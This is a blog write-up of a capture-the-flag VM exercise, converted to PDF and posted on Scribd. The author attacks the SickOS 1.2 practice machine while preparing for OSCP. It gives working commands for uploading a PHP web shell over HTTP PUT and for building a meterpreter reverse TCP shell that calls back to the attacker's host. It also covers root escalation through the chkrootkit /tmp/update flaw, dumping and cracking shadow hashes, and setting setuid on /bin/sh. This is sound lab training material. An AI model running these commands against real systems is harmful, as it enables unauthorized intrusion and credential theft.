0% found this document useful (0 votes)
259 views39 pages

CTF - Boot2Root - SickOS 1.2

This document provides notes from a penetration test of the SickOS 1.2 vulnerable virtual machine. It details the reconnaissance, vulnerability scanning, and exploitation steps taken. The key findings were that ports 22/tcp (SSH) and 80/tcp (HTTP) were open. Directory enumeration revealed a /test page that allowed file uploads. The attacker then uploaded a PHP reverse shell and meterpreter payload to gain remote command line access to the system.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
259 views39 pages

CTF - Boot2Root - SickOS 1.2

This document provides notes from a penetration test of the SickOS 1.2 vulnerable virtual machine. It details the reconnaissance, vulnerability scanning, and exploitation steps taken. The key findings were that ports 22/tcp (SSH) and 80/tcp (HTTP) were open. Directory enumeration revealed a /test page that allowed file uploads. The attacker then uploaded a PHP reverse shell and meterpreter payload to gain remote command line access to the system.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 39

15 SEPTEMBER 2017 / OSCP

CTF / Boot2Root / SickOS 1.2

If you've not figured out, this is a write-up and will contain


spoilers

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
NOTES
Part of my OSCP pre-pwk-pre-exam education path, this is one of many recommended unofficial
practice boxes. SickOs 1.2 details (https://www.vulnhub.com/entry/sickos-12,144/). I'm not a
professional penetration tester and I'll probably fall down many rabbit holes but these are my
notes and thought process.

I'll follow this official OSCP exam guide and avoid using Metasploit as much as possible to aid my
learning. See notes below;

OSCP Metasploit Usage


You can only use Metasploit Auxiliary, Exploit, and Post modules against one target
>machine of your choice.

You may use the following against all of the target machines:

multi handler (aka exploit/multi/handler)

msfvenom

pattern_create.rb

pattern_offset.rb

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
OSCP Exam Restrictions
You cannot use any of the following on the exam:

Spoofing (IP, ARP, DNS, NBNS, etc)

Commercial tools or services (Metasploit Pro, Burp Pro, etc.)

Automatic exploitation tools (e.g. db_autopwn, browser_autopwn, SQLmap,


SQLninja >etc.)

Mass vulnerability scanners (e.g. Nessus, NeXpose, OpenVAS, Canvas, Core


Impact, >SAINT, etc.)

Features in other tools that utilize either forbidden or restricted exam >limitations

I used OneNote for screenshots/note taking and Kali 64 bit Mate.

Something to listen to: Metal Gear Solid V OST

Metal Gear Solid V: The…


Carlos Astete

Sins of The Father


Donna Burke

Quiet's Theme
Stefanie Joosten
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Not Your Kind Of People
Garbage

Nuclear
Mike Old eld

Elegia - 2015 Remaster


New Order

The Man Who Sold the W…


Midge Ure

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Verify the *.zip using PowerShell with get-filehash

get-filehash .\sick0s1.2.zip -algorithm SHA1 | format-list


Algorithm : SHA1
Hash : 9F45F7C060E15DC6BB93C1CF39EFDD75125E30A0
Path : D:\Downloads\sick0s1.2.zip

9f45f7c060e15dc6bb93c1cf39efdd75125e30a0 - match. Extract, load and power on.

ENUMERATION
Start off by finding the IP of the box. Its set up to use a DHCP lease as per the download
instructions

arp-scan 10.20.30.0/24

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Once found, start a TCP port scan.

nmap -T4 -A -p- 10.20.30.128

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Left a UDP scan going just in case.

nmap -T4 -sU -p- 10.20.30.128

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Key findings are below;

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:86:f5:ee:cc:83:df:a6:3f:fd:c1:34:bb:7e:62:ab (RSA)
|_ 256 a1:6c:fa:18:da:57:1d:33:2c:52:e4:ec:97:e2:9e:af (ECDSA)

80/tcp open http lighttpd 1.4.28


|_http-server-header: lighttpd/1.4.28
|_http-title: Site doesn't have a title (text/html).

Browsing to the HTTP server on port 80

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Quick check of the file

root@kali:~/Desktop# file blow.jpg


blow.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, bas

root@kali:~/Desktop# binwalk blow.jpg


DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01

root@kali:~/Desktop# hexeditor blow.jpg


File: blow.jpg
00000000 FF D8 FF E0 00 10 4A 46 49 46 00 01 01 00 00 01
00000010 00 01 00 00 FF DB 00 43 00 08 06 06 07 06 05 08
00000020 07 07 07 09 09 08 0A 0C 14 0D 0C 0B 0B 0C 19 12

Nothing obviously out of place there.

Brute force a directory listing of the web server. Set dirb off against the root of the web server.
Check https://tools.kali.org/tools-listing for more information about dirb

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Start mapping the web application on both /TEST and /.

Basic enumeration - which was over pretty rapidly.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
I follow / read / reference The Web Application Handbook 2 specifically CHAPTER 21 A WEB
APPLICATION HACKER’S METHODOLOGY. Page 799 has this gem.

2.2.1 Identify all entry points for user input, including URLs, query string parameters,
POST data, cookies, and other HTTP headers processed by the application.

I used Hackbar to post test data.

Hackbar is a simple penetration tool for Firefox. It helps in testing simple SQL injection
and XSS holes. You cannot execute standard exploits but you can easily use it to test
whether vulnerability exists or not You can also manually submit form data with GET
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
whether vulnerability exists or not. You can also manually submit form data with GET
or POST requests

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
or a new favourite POSTMAN

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Or super elite via the cmdline.

root@kali:~# curl -X OPTIONS http://10.20.30.128/test -v

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
So we can basically POST/PUT to http://10.20.30.128/test/ - catastrophic.

EXPLOITATION
Reverse shell / web shell backdoor seems the appropriate path. A 'Simple' one found here;
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/php/simple-backdoor.php

You can use https://github.com/postmanlabs to help compile the syntax for either WGET/cURL
to push the file up or just to get you started.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Took a few attempts to get right...

curl --request PUT --url hxp://10.20.30.128/test --upload-file shell.php

curl -i -X PUT -T "shell.php" hxxp://10.20.30.128/test/shell.php

curl -i -X POST -H "Content-Type: multipart/form-data" -F "[email protected]"


hxxp://10.20.30.128/test/
417 - Expectation Failed

After reading about the error on Stack Overflow - ammended

curl -H "Expect:" -T shell.php http://10.20.30.128/test/shell.php

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
BOOM! (╯°□° )╯︵ ┻━┻

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Let's create a PHP meterpreter reverse TCP shell.

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.20.30.130 LPORT=4444 -f raw > msfshell.php

root@kali:~/Desktop/webshells# curl -H "Expect:" -T msfshell.php http://10.20.30.128/test/msfshe


root@kali:~/Desktop/webshells#

root@kali:~# service postgresql status


root@kali:~# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.20.30.130
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit -j

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
No connection was found. :'(

I changed port to 443 as IPtables might be active on the host and it worked!

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FYI. If you need to view / kill jobs.

msf exploit(handler) > jobs


msf exploit(handler) > jobs -K
msf exploit(handler) > sessions

Confirm meterpreter shell works.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
PRIVILEGE ESCALATION
My 1-2. These help automate the tasks of finding out about the system. Time is precious.

Use meterpreter to;

Upload the LinEnum.sh enumeration script - kudos @rebootuser


https://github.com/rebootuser/LinEnum
Upload linux-exploit-suggester.sh to quickly check patch levels of common installed
software. Kudos https://github.com/mzet-/linux-exploit-suggester

meterpreter > upload /root/Desktop/webshells/linexploit.sh


[*] uploading : /root/Desktop/webshells/linexploit.sh -> linexploit.sh
[*] uploaded : /root/Desktop/webshells/linexploit.sh -> linexploit.sh

Key findings I picked out. Either out of the norm or exploits I've heard that have reliable impact
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
or are very common.

[+] [CVE-2012-0809] death_star (sudo)


Details: http://seclists.org/fulldisclosure/2012/Jan/att-590/advisory_sudo.txt
Tags: fedora=16
Download URL: https://www.exploit-db.com/download/18436

[+] [CVE-2014-0476] chkrootkit


Details: http://seclists.org/oss-sec/2014/q2/430
Download URL: https://www.exploit-db.com/download/33899
Comments: Rooting depends on the crontab (up to one day of dealy)

[+] [CVE-2016-5195] dirtycow


Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Tags: RHEL=5|6|7,debian=7|8,ubuntu=16.10|16.04|14.04|12.04
Download URL: https://www.exploit-db.com/download/40611

[+] [CVE-2016-5195] dirtycow 2


Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Tags: RHEL=5|6|7,debian=7|8,ubuntu=16.10|16.04|14.04|12.04
Download URL: https://www.exploit-db.com/download/40616

I tried the Dirty Cow exploits without luck Had to reset my machine at some point too
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
I tried the Dirty Cow exploits without luck. Had to reset my machine at some point too.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
I moved on and back to the enumeration script output.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Check version

/usr/sbin/chkrootkit -V
chkrootkit version 0.49

Googling / exploit-db for 0.49.

We just found a serious vulnerability in the chkrootkit package, which


may allow local attackers to gain root access to a box in certain
configurations (/tmp not mounted noexec).

A bit unsure on the interval as it could be once a day.

Confirming that CRON is running CHKROOTKIT as root every minute.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Now this is exploitable a few ideas we can do.

Change the root password and login.

Create a new user with sudo rights.

Output/dump /etc/passwd /etc/shadow and crack offline.

Create reverse shell from root.

so I tried creating /tmp/update with;

!#/bin/bash
echo "w00t" | passwd --stdin root

and then
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
!#/bin/bash
echo "root:w00t" | chpasswd

meterpreter > upload /root/Desktop/webshells/update


[*] uploading : /root/Desktop/webshells/update -> update
[*] uploaded : /root/Desktop/webshells/update -> update

mv update /tmp/
ls -lash /tmp
total 24K
4.0K drwxrwxrwt 4 root root 4.0K Sep 13 10:55 .
4.0K drwxr-xr-x 22 root root 4.0K Mar 30 2016 ..
4.0K drwxrwxrwt 2 root root 4.0K Sep 13 10:40 VMwareDnD
0 srwxr-xr-x 1 www-data www-data 0 Sep 13 10:40 php.socket-0
4.0K -rw-r--r-- 1 www-data www-data 12 Sep 13 10:54 update

4.0K -rw-r--r-- 1 root root 1.6K Sep 13 10:40 vgauthsvclog.txt.0


4.0K drwx------ 2 root root 4.0K Sep 13 10:40 vmware-root

wait!

chmod +x /tmp/update
ls -lash /tmp/update
4.0K -rwxr-xr-x 1 www-data www-data 12 Sep 13 10:54 /tmp/update

tail -f /var/log/syslog

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
FYI, Bash shell breakout. More here

python -c 'import pty; pty.spawn("/bin/bash")'

I gave up with changing the root password on moved onto dumping the password hashes.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
root:$6$DT8ti3eq$pMlNEf0pGecTc.37FsJQBG17YioEa8X1Nmq63Qqnx66b8L/EYsz3sBtyRhoDnGu4uEOA.SCcagQm9Kc
john:$6$6rHHymgb$11NJYyJJGRU7KW006odutnwRICmL.al76o4DIyjilr50XSUOpFQdhRHv29Zrv9XEWqAp8ah4wJv.nkg

root@kali:~/Desktop/webshells# unshadow passwd shadow > passdb


root@kali:~/Desktop/webshells# john -w=/usr/share/wordlists/rockyou.txt passdb
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:09 0.02% (ETA: 05:58:26) 0g/s 387.8p/s 775.7c/s 775.7C/s minerva..happydays

These are salted hashes and therefore difficult to crack (for me atm).

I ended up researching a bit more as maybe I was barking up the wrong tree with my ideas.
A th id t t id /bi / h ( i i l id ) th id b hi d thi
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Another idea was to use setuid on /bin/sh (original idea) - the idea behind this;

If you setuid on a binary, you’re telling the operating system that you want this binary
to always be executed as the user owner of the binary. Be smart with setuid! Anything
higher than 4750 can be very dangerous as it allows the world to run the binary as the
root user

kudos https://major.io/2007/02/13/chmod-and-the-mysterious-first-octet/

:D

chown root:root /bin/sh ; chmod 4777 /bin/sh

browsing to /root/

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Just to see why connectivity was a pain at first. Displaying IPtables...

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
CAT TAX - Popping boxes is obviously too much for some.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Mark Read More
Read more posts by this author.

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
GRRCON CTF

GrrCon 2017 DFIR write up - Level 1 CTF / Boot2Root / Sick Os 1.1

#GrrCon 2017 #DFIR #CTF challenge. Several host images If you've not figured out, this is a write-up and will contain
and memory dumps need to be analysed and investigated. spoilers NOTES Part of my OSCP pre-pwk-pre-exam
Submit IOCs as you progress... education path, this is one of many recommended unofficial
practice
MARKboxes. SickOs details (https:
MARK

you sneakymonkey! © 2019 Latest Posts Twitter Ghost

Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD

You might also like